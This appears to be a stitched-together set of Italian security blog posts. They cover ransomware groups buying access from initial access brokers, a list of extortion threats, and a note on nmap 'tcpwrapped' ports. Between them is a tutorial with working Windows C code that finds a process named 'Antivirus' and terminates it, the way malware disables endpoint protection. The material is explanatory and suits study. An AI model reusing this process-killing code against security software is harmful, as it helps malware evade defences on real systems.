Una recente ricerca riporta che i gruppi criminali dietri i principali attacchi ransomware hanno modificato la tecnica utilizzata per l'accesso iniziale alle reti vittime.
In pratica al posto di utilizzare il phishing oppure lo sfruttamento di una vulnerabilità, hanno iniziato a comprare gli accessi venduti da Initial Access Brocker ovvero altri gruppi criminali specializzati nell'initial foothold. Il prezzo pagato è generalmente una fetta del bottino.
Questi intial access broker sono estremamente specializzati e riescono ad infiltrarsi nelle infrastrutture delle vittime tramite malware come The Trick, Drides, Qbot, BasarLoader o IceId.
Naturalmente questo conferma come i gruppi criminali stiano sempre più lavorando in partnership sviluppando competenze estremamente specifiche la cui interazione porta poi agli attacchi che conosciamo come quelli a Colonial Pipeline, JBS o CNA Hardy

Una delle caratteristiche dei malware è la capacità di individuare e disattivare sistemi di end point detection o antivirus.
Ma come possono eseguire queste operazioni?
Parlando di processi che operano in ambiente windows è necessario che il software malevolo sia in grado di creare uno snapshot della memoria, ciclare su tutti i processi ivi presenti, individuare il processo da disattivare ed infine disattivarlo.
Le primitive che dobbiamo andare a utilizzare durante un’analisi sono:

• CreateToolHelp32Snapshot: esegue uno snapshot della memoria e restituisce un handler che chiamiamo hProcessSnap
• Process32First e Process32Next: che sono in grado di identificare i processi attivi nello snapshot e richiamate all’interno di un ciclo ci permettono di ricercare il processo con il nome che noi vogliamo es. Antivirus.exe
• Una volta identificato il processo acquisisco il suo handler con diritti PROCESS_TERMINATE
• Lo termino con TerminateProcess

Naturalmente il malware deve ottenere i diritti amministrativi necessari per eseguire quest’azione
Nel codice seguente eseguo quest’azione ricercando un processo ipotetico chiamato Antivirus.exe :
int main(void)
{
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
int trovato = 0;
WCHAR nome[] = L"Antivirus";

// faccio lo snapshot dei processi di sistema
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot (of processes)");
return(FALSE);
}

// definisco la dimensione della struttura pe32 utilizzata nel ciclo
pe32.dwSize = sizeof(PROCESSENTRY32);

// Prendo le info del primo processo
if (!Process32First(hProcessSnap, &pe32))
{
printf("Errore in Process32First");
CloseHandle(hProcessSnap);
return(FALSE);
}
//Ora ciclo tra tutti i processi nello snapshot
do
{

if (wcsstr(pe32.szExeFile,nome) > 0) { //cerco se il nome del processo contiene la stringa di ricerca

wprintf(L"Termino %s \n", pe32.szExeFile); // scrivo che sto terminando il processo
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD) pe32.th32ProcessID); //acquisisco l'handle con i diritti corretti
TerminateProcess(hProcess, 9); // termino il processo
trovato = 1;}

} while (Process32Next(hProcessSnap, &pe32) && !trovato); //continuo con il prox processo nello snapshot
CloseHandle(hProcessSnap);
return(TRUE);
}

1. Non ti do le chiavi di decrittazione
2. Pubblico tutti i tuoi dati sensibili on line
3. Ti becchi pure un bell'attacco Ddos!

Pillole di #penetrationtest

Se nmap ci indica una porta "tcpwrapped", si tratta di un probabile rilevamento del servizio TCPWrappers Unix.

Usiamo al solito il condizionale, in quanto molte delle ricerche nmap "deducono" qualcosa dalle risposte ottenute. Ma se questo è vero, lo stato della porta è più articolato che essere semplicemente aperta, chiusa o filtrata.

TCP Wrappers è un super-servizio ("super-listener") in uso nei sistemi Unix (su Linux fino all'ingresso nella scena di systemd, che ne prende il ruolo) capace di intercettare la richiesta di apertura socket per qualsivoglia porta per dirottarla poi verso un processo capace di gestire il protocollo presunto (in realtà è il programma che si registra per avere questa redirezione, quindi il legame porta-programma è definito in origine).

Naturalmente TCP Wrappers ha capacità di ACL (a difesa di programmi e non di porte) che consentono di limitare gli accessi secondo alcune condizioni, quindi può chiudere la porta ... SLAM !

Per nmap questa porta può anche essere considerata "aperta" (quando nessuna risposta negativa è giunta, in mancanza di ACL), ma può anche essere che il programma "backend" non sia operativo (o non ci sia affatto) e questo confonde le idee. Può inoltre trovarsi con un diniego da parte di TCP Wrappers e quindi il tutto si complica ancora di più.

E' naturale che tutto questo dipende fortemente dal tipo di analisi che è stata condotta (parametri nmap), dagli elementi in gioco (ip, porte, ecc) e tutto quanto sia correlato alle modalità di intervento di TCP Wrappers.

Questo discorso vale se la porta rilevata è una sola ... altrimenti potremmo essere di fronte ad un altro fenomeno.

nmap si lascia anche confondere.... non è perfetto: magari siamo di fronte ad uno strumento di sicurezza che tenta di ingannare i software di scansione ... ma questo è un altro discorso.